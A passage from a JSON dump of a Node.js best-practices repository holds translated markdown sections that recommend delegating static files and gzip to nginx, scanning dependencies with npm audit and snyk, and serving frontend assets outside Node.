vous faites est d'essayer de faire en sorte que Node s'occupe de toutes les choses compliquées qu'un serveur web éprouvé fait très bien. Pourquoi réinventer la roue ?**\n> **C'est juste pour une requête ou une image et en gardant à l'esprit que cette mémoire peut être utilisée par votre application pour des choses plus importantes comme la lecture d'une base de données ou la manipulation d'une logique compliquée, pourquoi paralyser votre application pour des raisons de commodité ?**\n\n* Extrait du blog de [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) :\n> Bien qu'express.js ait une gestion intégrée des fichiers statiques via un middleware de connexion, vous ne devez jamais l'utiliser. **Nginx peut faire un bien meilleur travail de gestion des fichiers statiques et peut empêcher les requêtes de contenu non dynamique de saturer nos processus de Node**…\n"
  },
  {
    "path": "sections/production/delegatetoproxy.japanese.md",
    "content": "# 可能な限りのこと全て(静的コンテンツや gzip など)をリバースプロキシに委譲する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nExpress を過剰に利用し、静的ファイルの提供、gzip エンコーディング、リクエストのスロットリング、SSL の終了などのネットワーク関連のタスクを提供してくれる、そのリッチなミドルウェアを使用することは非常に魅力的です。これは、CPU を長時間ビジー状態に保つシングルスレッドモデルのため、パフォーマンスを低下させます( Node の実行モデルは短いタスクや非同期 IO 関連のタスクに最適化されていることを覚えておいてください)。より良いアプローチは、ネットワーク作業の専門知識を持つツールを使用することです – 最も人気のあるのは nginx と HAproxy で、これらは最大手のクラウドベンダーも Node.js プロセスへの負荷を軽減するために使用しています。\r\n\r\n<br/><br/>\r\n\r\n### nginx 設定例 – nginx を使ってサーバのレスポンスを圧縮する\r\n\r\n```nginx\r\n# gzip 圧縮を設定する\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# アップストリームを設定する\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n# ウェブサーバーを定義する\r\nserver {\r\n    # サーバに ssl とエラーページを設定する\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # 静的コンテンツをハンドリングする\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n* ブログ [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications) より:\r\n> ...このトラップに陥るのは非常に簡単です - あなたは Express のようなパッケージを見て、「素晴らしい！さっそく始めよう」と思ってしまうのです。– あなたがコードを書くことで、あなたが望むアプリケーションを手に入れることができます。これは秀逸だし、正直言ってかなりの勝利を収めていますね。しかし、アプリをサーバーにアップロードして HTTP ポートでリッスンすると、戦争に負けることになります。なぜなら、あなたは非常に重要なことを忘れているからです: Node はウェブサーバーではありません。**トラフィックのボリュームがアプリケーションにヒットし始めると、すぐに物事がうまくいかなくなることに気づくでしょう: 接続が切断されたり、アセットが提供されなくなったり、最悪の場合はサーバーがクラッシュしたりします。あなたがやっていることは、実績のあるウェブサーバが本当によくやっている複雑なことのすべてを Node に処理させようとしていることです。なぜ車輪を再発明するのでしょうか？**\r\n> **これは、1つの画像のため、1つのリクエストのためのものであり、アプリケーションがデータベースを読んだり複雑なロジックを処理したりするような重要なものに使用できるメモリであることを念頭に置いてください; なぜ都合のいいようにアプリを廃人にするのでしょうか？**\r\n\r\n* ブログ [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) より:\r\n> express.js にはいくつかの接続ミドルウェアを介した静的ファイル処理が組み込まれていますが、絶対に使ってはいけません。**Nginx は静的ファイルの処理をより良く行うことができ、動的ではないコンテンツへのリクエストがノードプロセスを詰まらせるのを防ぐことができます。**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.korean.md",
    "content": "# Delegate anything possible (e.g. static content, gzip) to a reverse proxy\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIt’s very tempting to cargo-cult Express and use its rich middleware offering for networking related tasks like serving static files, gzip encoding, throttling requests, SSL termination, etc. This is a performance kill due to its single threaded model which will keep the CPU busy for long periods (Remember, Node’s execution model is optimized for short tasks or async IO related tasks). A better approach is to use a tool that expertise in networking tasks – the most popular are nginx and HAproxy which are also used by the biggest cloud vendors to lighten the incoming load on node.js processes.\r\n\r\n<br/><br/>\r\n\r\n### Nginx Config Example – Using nginx to compress server responses\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# configure upstream\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n#defining web server\r\nserver {\r\n    # configure server with ssl and error pages\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # handling static content\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the blog [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\r\n> …It’s very easy to fall into this trap – You see a package like Express and think “Awesome! Let’s get started” – you code away and you’ve got an application that does what you want. This is excellent and, to be honest, you’ve won a lot of the battle. However, you will lose the war if you upload your app to a server and have it listen on your HTTP port because you’ve forgotten a very crucial thing: Node is not a web server. **As soon as any volume of traffic starts to hit your application, you’ll notice that things start to go wrong: connections are dropped, assets stop being served or, at the very worst, your server crashes. What you’re doing is attempting to have Node deal with all of the complicated things that a proven web server does really well. Why reinvent the wheel?**\r\n> **This is just for one request, for one image and bearing in mind this is the memory that your application could be used for important stuff like reading a database or handling complicated logic; why would you cripple your application for the sake of convenience?**\r\n\r\n* From the blog [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> Although express.js has built-in static file handling through some connect middleware, you should never use it. **Nginx can do a much better job of handling static files and can prevent requests for non-dynamic content from clogging our node processes**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.md",
    "content": "# Delegate anything possible (e.g. static content, gzip) to a reverse proxy\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIt’s very tempting to cargo-cult Express and use its rich middleware offering for networking related tasks like serving static files, gzip encoding, throttling requests, SSL termination, etc. This is a performance kill due to its single threaded model which will keep the CPU busy for long periods (Remember, Node’s execution model is optimized for short tasks or async IO related tasks). A better approach is to use a tool that expertise in networking tasks – the most popular are nginx and HAproxy which are also used by the biggest cloud vendors to lighten the incoming load on node.js processes.\r\n\r\n<br/><br/>\r\n\r\n### Nginx Config Example – Using nginx to compress server responses\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# configure upstream\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n#defining web server\r\nserver {\r\n    # configure server with ssl and error pages\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # handling static content\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the blog [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\r\n> …It’s very easy to fall into this trap – You see a package like Express and think “Awesome! Let’s get started” – you code away and you’ve got an application that does what you want. This is excellent and, to be honest, you’ve won a lot of the battle. However, you will lose the war if you upload your app to a server and have it listen on your HTTP port because you’ve forgotten a very crucial thing: Node is not a web server. **As soon as any volume of traffic starts to hit your application, you’ll notice that things start to go wrong: connections are dropped, assets stop being served or, at the very worst, your server crashes. What you’re doing is attempting to have Node deal with all of the complicated things that a proven web server does really well. Why reinvent the wheel?**\r\n> **This is just for one request, for one image and bearing in mind this is the memory that your application could be used for important stuff like reading a database or handling complicated logic; why would you cripple your application for the sake of convenience?**\r\n\r\n* From the blog [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> Although express.js has built-in static file handling through some connect middleware, you should never use it. **Nginx can do a much better job of handling static files and can prevent requests for non-dynamic content from clogging our node processes**…\r\n"
  },
  {
    "path": "sections/production/delegatetoproxy.polish.md",
    "content": "# Deleguj wszystko, co możliwe (np. zawartość statyczną, gzip) do odwrotnego proxy\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nTo bardzo kuszące dla kultowego Expressa i korzystania z bogatej oferty oprogramowania pośredniego do zadań związanych z siecią, takich jak serwowanie plików statycznych, kodowanie gzip, żądania ograniczania przepustowości, zakończenie SSL itp. Jest to zabójstwo wydajności ze względu na model jednowątkowy, który zachowa procesor zajęty przez długi czas (pamiętaj, że model wykonania węzła jest zoptymalizowany do krótkich zadań lub asynchronicznych zadań związanych z We / Wy). Lepszym rozwiązaniem jest użycie narzędzia, które specjalizuje się w zadaniach sieciowych - najbardziej popularne to nginx i HAproxy, które są również używane przez największych dostawców usług w chmurze, aby zmniejszyć obciążenie procesów procesowych Node.js.\n\n<br/><br/>\n\n### Przykład konfiguracji Nginx - Użycie nginx do kompresji odpowiedzi serwera\n\n```nginx\n# configure gzip compression\ngzip on;\ngzip_comp_level 6;\ngzip_vary on;\n\n# configure upstream\nupstream myApplication {\n    server 127.0.0.1:3000;\n    server 127.0.0.1:3001;\n    keepalive 64;\n}\n\n#defining web server\nserver {\n    # configure server with ssl and error pages\n    listen 80;\n    listen 443 ssl;\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\n    error_page 502 /errors/502.html;\n\n    # handling static content\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\n    root /usr/local/silly_face_society/node/public;\n    access_log off;\n    expires max;\n}\n```\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\n* Z bloga [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\n> …It’s very easy to fall into this trap – You see a package like Express and think “Awesome! Let’s get started” – you code away and you’ve got an application that does what you want. This is excellent and, to be honest, you’ve won a lot of the battle. However, you will lose the war if you upload your app to a server and have it listen on your HTTP port because you’ve forgotten a very crucial thing: Node is not a web server. **As soon as any volume of traffic starts to hit your application, you’ll notice that things start to go wrong: connections are dropped, assets stop being served or, at the very worst, your server crashes. What you’re doing is attempting to have Node deal with all of the complicated things that a proven web server does really well. Why reinvent the wheel?**\n> **This is just for one request, for one image and bearing in mind this is the memory that your application could be used for important stuff like reading a database or handling complicated logic; why would you cripple your application for the sake of convenience?**\n\n* Z bloga [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\n> Although express.js has built-in static file handling through some connect middleware, you should never use it. **Nginx can do a much better job of handling static files and can prevent requests for non-dynamic content from clogging our node processes**…\n"
  },
  {
    "path": "sections/production/delegatetoproxy.russian.md",
    "content": "# Делегируйте все возможное (например, gzip, SSL) обратному прокси\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nЭто очень заманчиво для карго-культа Express и использования его богатого промежуточного программного обеспечения для задач, связанных с сетью, таких как обслуживание статических файлов, кодирование gzip, запросы регулирования, завершение SSL и т.д. Это снижение производительности из-за его однопоточной модели, которая сохранит процессор занят для длительных периодов (помните, что модель выполнения Node оптимизирована для коротких задач или задач, связанных с асинхронным вводом-выводом). Лучшим подходом является использование инструмента, обладающего опытом в сетевых задачах. Наиболее популярными являются nginx и HAproxy, которые также используются крупнейшими поставщиками облачных технологий для снижения нагрузки на входящие процессы Node.js.\r\n\r\n<br/><br/>\r\n\r\n### Пример конфигурации nginx - Использование nginx для сжатия ответов сервера\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\ngzip_comp_level 6;\r\ngzip_vary on;\r\n\r\n# configure upstream\r\nupstream myApplication {\r\n    server 127.0.0.1:3000;\r\n    server 127.0.0.1:3001;\r\n    keepalive 64;\r\n}\r\n\r\n#defining web server\r\nserver {\r\n    # configure server with ssl and error pages\r\n    listen 80;\r\n    listen 443 ssl;\r\n    ssl_certificate /some/location/sillyfacesociety.com.bundle.crt;\r\n    error_page 502 /errors/502.html;\r\n\r\n    # handling static content\r\n    location ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\n    root /usr/local/silly_face_society/node/public;\r\n    access_log off;\r\n    expires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\n* Из блога [Mubaloo](http://mubaloo.com/best-practices-deploying-node-js-applications):\r\n> … Попасть в эту ловушку очень легко - вы видите пакет типа \"Экспресс\" и думаете: \"Круто! Давайте начнем\", - вы кодируете, и у вас есть приложение, которое делает то, что вы хотите. Это отлично, и, честно говоря, вы выиграли много битвы. Однако вы проиграете войну, если загрузите свое приложение на сервер и прослушаете его на своем HTTP-порте, потому что вы забыли очень важную вещь: Node не является веб-сервером. **Как только любой объем трафика начнет попадать в ваше приложение, вы заметите, что что-то начинает работать неправильно: соединения теряются, ресурсы перестают обслуживаться, или, в худшем случае, происходит сбой вашего сервера. То, что вы делаете, это пытаетесь заставить Node справиться со всеми сложными вещами, которые проверенный веб-сервер делает действительно хорошо. Зачем изобретать велосипед?**\r\n> **Это только для одного запроса, для одного изображения и с учетом того, что это память, которую ваше приложение может использовать для важных вещей, таких как чтение базы данных или обработка сложной логики; зачем вам калечить ваше приложение ради удобства?**\r\n\r\n* Из блога [Argteam](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> Несмотря на то, что в express.js есть встроенная статическая обработка файлов через некоторое промежуточное ПО для подключения, вы никогда не должны его использовать. **Nginx может гораздо лучше справляться со статическими файлами и предотвращать засорение запросов на не динамический контент нашими процессами узлов** …\r\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.basque.md",
    "content": "# Erabili menpekotasunak automatikoki atzematen dituzten tresnak\n\n<br/><br/>\n\n### Azalpena\n\nNoderen aplikazio modernoek hamarnaka eta batzuetan ehunaka menpekotasun dituzte. Erabiltzen dituzun menpekotasunen batek segurtasun ahultasun ezaguna badu, zure aplikazioa ere ahula da.\nTresna hauek automatikoki egiaztatzen dituzte zure menpekotasunetako segurtasun ahultasunak:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm auditoria\n- [snyk](https://snyk.io/) - etengabe bilatu eta konpondu ahultasunak zure menpekotasunetan\n\n<br/><br/>\n\n### Beste blogari batzuek diotena\n\n[StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) bloga:\n\n> ...Zure aplikazioaren menpekotasunak kudeatzeko erabiltzea indartsua eta erosoa da. Erabiltzen dituzun paketeek zure aplikazioan ere eragina izan dezaketen segurtasun ahultasun larriak izan ditzakete. Zure aplikazioaren segurtasuna zure menpekotasunen \"esteka ahulena\" bezain sendoa da. Zorionez, bi tresna lagungarri daude erabiltzen dituzun hirugarren paketeak ziurtatzeko erabil ditzakezunak: nsp eta requireSafe. Bi tresna horiek gauza bera egiten dute neurri handi batean. Beraz, biak erabiltzea gehiegizkoa izan badaiteke ere, \"hobe seguru jokatzea, damutzea baino\". Hitz horiek, segurtasunari dagokionez, zuzenak eta egokiak dira...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.brazilian-portuguese.md",
    "content": "# Utilize ferramentas que detectam vulnerabilidades automaticamente\n\n<br/><br/>\n\n### Explicação em um Parágrafo\n\nAs aplicações modernas de Node possuem dezenas e algumas vezes centenas de dependências. Se alguma das dependências que você usa tiver uma vulnerabilidade de segurança conhecida, seu aplicativo também estará vulnerável.\nAs ferramentas a seguir verificam automaticamente vulnerabilidades de segurança conhecidas em suas dependências:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm audit\n- [snyk](https://snyk.io/) - Encontre e corrija continuamente vulnerabilidades em suas dependências\n\n<br/><br/>\n\n### O que Outros Blogueiros dizem\n\nDo blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/):\n\n> ...Usá-lo para gerenciar as dependências da sua aplicação é poderoso e conveniente. Mas os pacotes que você usa podem conter vulnerabilidades críticas de segurança que também podem afetar sua aplicação. A segurança da sua aplicação é tão forte quanto o \"elo mais fraco\" em suas dependências. Felizmente, existem duas ferramentas úteis que você pode usar para garantir os pacotes de terceiros que você usa: nsp e requireSafe. Estas duas ferramentas fazem basicamente a mesma coisa, então usar ambos pode ser um exagero, mas “melhor prevenir do que remediar” são palavras para se viver quando se trata de segurança ...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.chinese.md",
    "content": "# 使用工具自动检测有漏洞的依赖项\r\n\r\n<br/><br/>\r\n\r\n### 一段解释\r\n\r\n现代node应用有数十个, 有时是数以百计的依赖。如果您使用的任何依赖项存在已知的安全漏洞, 您的应用也很容易受到攻击。\r\n下列工具自动检查依赖项中的已知安全漏洞:\r\n[npm audit](https://docs.npmjs.com/cli/audit) - Node 安全工程\r\n[snyk](https://snyk.io/) - 持续查找和修复依赖中的漏洞\r\n\r\n<br/><br/>\r\n\r\n### 其他博主说什么\r\n摘自博客 [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) :\r\n\r\n> ...被用来管理您应用的依赖是强大且方便的。但是, 您使用的依赖包可能存在严重的安全漏洞, 也会影响您的应用。您的应用的安全性仅仅与您的依赖组件中的 \"最薄弱的一环\" 一样严重。幸运的是, 您可以使用两种有用的工具来确保您使用的第三方库: ** 和 requireSafe。这两种工具在很大程度上都是一样的, 所以使用两种方法都可能过于夸张, 但 \"安全比抱歉\" 更安全...\r\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.french.md",
    "content": "# Utilisez des outils qui détectent automatiquement les dépendances vulnérables\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLes applications modernes de Node ont des dizaines et parfois des centaines de dépendances. Si l'une des dépendances que \nvous utilisez présente une faille de sécurité connue, votre application est également vulnérable.\nLes outils suivants vérifient automatiquement les vulnérabilités de sécurité connues dans vos dépendances :\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - audit de npm\n- [snyk](https://snyk.io/) - Trouve et corrige continuellement les vulnérabilités de vos dépendances\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) :\n\n> ...L'utilisation pour gérer les dépendances de votre application est puissante et pratique. Mais les paquets que vous utilisez peuvent contenir des vulnérabilités de sécurité critiques qui pourraient également affecter votre application. La sécurité de votre application est uniquement assurée par le « maillon le plus faible » de vos dépendances. Heureusement, il existe deux outils utiles pour garantir la sécurité des paquets tiers que vous utilisez : nsp et requireSafe. Ces deux outils font en grande partie la même chose, donc les utiliser tous les deux peut être excessif, mais « mieux vaut prévenir que guérir » sont des mots à respecter en matière de sécurité...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.japanese.md",
    "content": "# 脆弱な依存関係を自動的に検出するツールを使用する\n\n<br/><br/>\n\n### 一段落説明\n\n最近の Node アプリケーションは、数十、時には数百の依存関係を持っています。使用している依存関係のいずれかに既知のセキュリティ脆弱性がある場合、あなたのアプリも同様に脆弱です。\n以下のツールは、依存関係にある既知のセキュリティ脆弱性を自動的にチェックします。:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm 監査\n- [snyk](https://snyk.io/) - 依存関係にある脆弱性を継続的に発見し、修正する\n\n<br/><br/>\n\n### 他のブロガーが言っていること\n\nブログ [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) より:\n\n> ...アプリケーションの依存関係を管理するために使用することは、強力で便利です。しかし、使用しているパッケージには重要なセキュリティ上の脆弱性が含まれている可能性があり、アプリケーションにも影響を与える可能性があります。アプリのセキュリティは、依存関係の「最も弱いリンク」と同じくらい強力です。幸いなことに、使用するサードパーティ製パッケージのセキュリティを確保するために使用できる 2 つの便利なツールがあります: nsp と requireSafe です。この2つのツールは大体同じことをするので、両方を使うのはやりすぎかもしれませんが、セキュリティに関しては「後悔するよりも安全な方がいい」という言葉が生きてくるでしょう。...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.korean.md",
    "content": "# Use tools that automatically detect vulnerable dependencies\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nModern Node applications have tens and sometimes hundreds of dependencies. If any of the dependencies\nyou use has a known security vulnerability your app is vulnerable as well.\nThe following tools automatically check for known security vulnerabilities in your dependencies:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm audit\n- [snyk](https://snyk.io/) - Continuously find & fix vulnerabilities in your dependencies\n\n<br/><br/>\n\n### What Other Bloggers Say\n\nFrom the [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) blog:\n\n> ...Using to manage your application’s dependencies is powerful and convenient. But the packages that you use may contain critical security vulnerabilities that could also affect your application. The security of your app is only as strong as the “weakest link” in your dependencies. Fortunately, there are two helpful tools you can use to ensure the third-party packages you use: nsp and requireSafe. These two tools do largely the same thing, so using both might be overkill, but “better safe than sorry” are words to live by when it comes to security...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.md",
    "content": "# Use tools that automatically detect vulnerable dependencies\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nModern Node applications have tens and sometimes hundreds of dependencies. If any of the dependencies\nyou use has a known security vulnerability your app is vulnerable as well.\nThe following tools automatically check for known security vulnerabilities in your dependencies:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm audit\n- [snyk](https://snyk.io/) - Continuously find & fix vulnerabilities in your dependencies\n\n<br/><br/>\n\n### What Other Bloggers Say\n\nFrom the [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/) blog:\n\n> ...Using to manage your application’s dependencies is powerful and convenient. But the packages that you use may contain critical security vulnerabilities that could also affect your application. The security of your app is only as strong as the “weakest link” in your dependencies. Fortunately, there are two helpful tools you can use to ensure the third-party packages you use: nsp and requireSafe. These two tools do largely the same thing, so using both might be overkill, but “better safe than sorry” are words to live by when it comes to security...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.polish.md",
    "content": "# Użyj narzędzi, które automatycznie wykrywają podatne na zagrożenia zależności\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nNowoczesne aplikacje Node mają dziesiątki, a czasem setki zależności. Jeśli którakolwiek z zależności, z której korzystasz\nma znaną lukę w zabezpieczeniach, Twoja aplikacja też.\nNastępujące narzędzia automatycznie sprawdzają znane luki bezpieczeństwa w twoich zależnościach:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - npm audit\n- [snyk](https://snyk.io/) - Ciągle znajduj i usuwaj luki w swoich zależnościach\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\nZ  bloga [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/):\n\n> ...Using to manage your application’s dependencies is powerful and convenient. But the packages that you use may contain critical security vulnerabilities that could also affect your application. The security of your app is only as strong as the “weakest link” in your dependencies. Fortunately, there are two helpful tools you can use to ensure the third-party packages you use: nsp and requireSafe. These two tools do largely the same thing, so using both might be overkill, but “better safe than sorry” are words to live by when it comes to security...\n"
  },
  {
    "path": "sections/production/detectvulnerabilities.russian.md",
    "content": "# Используйте инструменты, которые автоматически обнаруживают уязвимые зависимости\n\n<br/><br/>\n\n### Объяснение в один абзац\n\nСовременные Node-приложения имеют десятки, а иногда и сотни зависимостей. Если какая-либо из них в зависимостях\nу вас есть известная уязвимость в безопасности вашего приложения.\nСледующие инструменты автоматически проверяют наличие известных уязвимостей в ваших зависимостях:\n\n- [npm audit](https://docs.npmjs.com/cli/audit) - аудит npm\n- [snyk](https://snyk.io/) - постоянно находите и исправляйте уязвимости в ваших зависимостях\n\n<br/><br/>\n\n### Что говорят другие блоггеры\n\nИз блога [StrongLoop] (https://strongloop.com/strongblog/best-practices-for-express-in-production-part-one-security/):\n\n> ... Использование для управления зависимостями вашего приложения является мощным и удобным. Но используемые вами пакеты могут содержать критические уязвимости безопасности, которые также могут повлиять на ваше приложение. Безопасность вашего приложения так же сильна, как \"самая слабая ссылка\" в ваших зависимостях. К счастью, есть два полезных инструмента, которые вы можете использовать для обеспечения сторонних пакетов, которые вы используете: nsp и requireSafe. Эти два инструмента в основном делают одно и то же, поэтому использование обоих может оказаться излишним, но \"лучше, чем потом сожалеть\" - это слова, которые нужно соблюдать, когда речь заходит о безопасности ...\n"
  },
  {
    "path": "sections/production/frontendout.basque.md",
    "content": "# Atera frontend modulu eko aktiboak Nodetik\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nWeb aplikazio klasiko batean backend-ak elementu grafikoak helarazten dizkio\r\nnabigatzaileari. Noderen munduan oso ohikoa da Express middleware estatikoa erabiltzea bezeroaren fitxategi estatikoak optimizatzeko. BAINA Node ez da web aplikazio tipikoa, fitxategi asko aldi berean hornitzeko optimizatuta ez dagoen hari bakarra erabiltzen baitu. Horren ordez, aztertu ez ote den hobe erabiltzea alderantzizko proxy bat (adibidez, nginx, HAProxy), hodeiko biltegiren bat edo CDN (adibidez, AWS S3, Azure Blob Storage, etab.), zeregin horretarako optimizazio asko erabiltzen dituen eta errendimendu askoz hobea lortzen duena. Adibidez, nginx bezalako middleware espezializatuak zuzeneko lotuneak dauzka fitxategi sistemaren eta sareko txartelaren artean, eta prozesu anitzeko antolaketa erabiltzen du eskaera anitzen arteko esku hartzea minimizatzeko.\r\n\r\nHauetako bat izan daiteke zure irtenbide egokiena:\r\n\r\n1. Alderantzizko proxy bat erabiltzea: zure fitxategi estatikoak Node aplikazioaren ondoan kokatuko dira, eta Node aplikazioaren aurrean jartzen den proxy batek (adibidez, nginx) bideratuko ditu fitxategien karpeta estatikoari egindako eskaerak.\r\n   Horrela, zure Node aplikazioa arduratzen da fitxategi estatikoak hedatzeaz, baina ez zerbitzatzeaz. Zure frontden/interfazeko lankideari asko gustatuko zaio antolaketa hau, frontden/interfazeko eskaerak galarazten baititu.\r\n\r\n2. Hodeian biltegiratzea: zure fitxategi estatikoak EZ dira zure Node aplikazioaren edukiaren zati izango, eginkizun horretarako sortu diren AWS S3, Azure BlobStorage edo antzeko beste zerbitzu batzuetara igoko dira eta. Antolaketa hau erabiliz, zure Node aplikazioak ez du fitxategi estatikoak hedatzeko ardurarik izango, ezta horiek zerbitzatzeko ere; beraz, Node eta Frontenda/interfazea erabat banatuta egongo dira, edonola ere talde desberdinek kudeatuta baitaude.\r\n\r\n<br/><br/>\r\n\r\n### Ezarpen adibidea: nginxen ohiko ezarpena fitxategi estatikoak zerbitzatzeko\r\n\r\n```nginx\r\n# konfiguratu gzip konprimatzea\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# web zerbitzaria zehaztu\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# eduki estatikoa kudeatu\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/) bloga:\r\n\r\n> …Garapenean, [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) erabil dezakezu fitxategi estatikoak hornitzeko. Baina ez egin hori ekoizpenean, funtzio horrek fitxategi sistematik irakurtzen baitu fitxategi eskaera bakoitza; beraz, denbora asko beharko erantzuteko, eta aplikazioaren errendimendu orokorrari eragingo dio. Kontuan izan res.sendFile () ez dela sendfile sistemaren deiarekin inplementatzen, eta hori askoz ere eraginkorragoa izango litzateke. Horren ordez, erabili zerbitzu estatikoa duen middlewareren bat (edo baliokidea den zerbait), hau da, Express aplikazioetarako fitxategiak hornitzeko optimizatuta dagoen tresnaren bat. Aukera hobea da alderantzizko proxy bat erabiltzea fitxategi estatikoak hornitzeko. Informazio gehiago nahi baduzu, ikusi “Erabili alderantzizko proxy bat”…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.brazilian-portuguese.md",
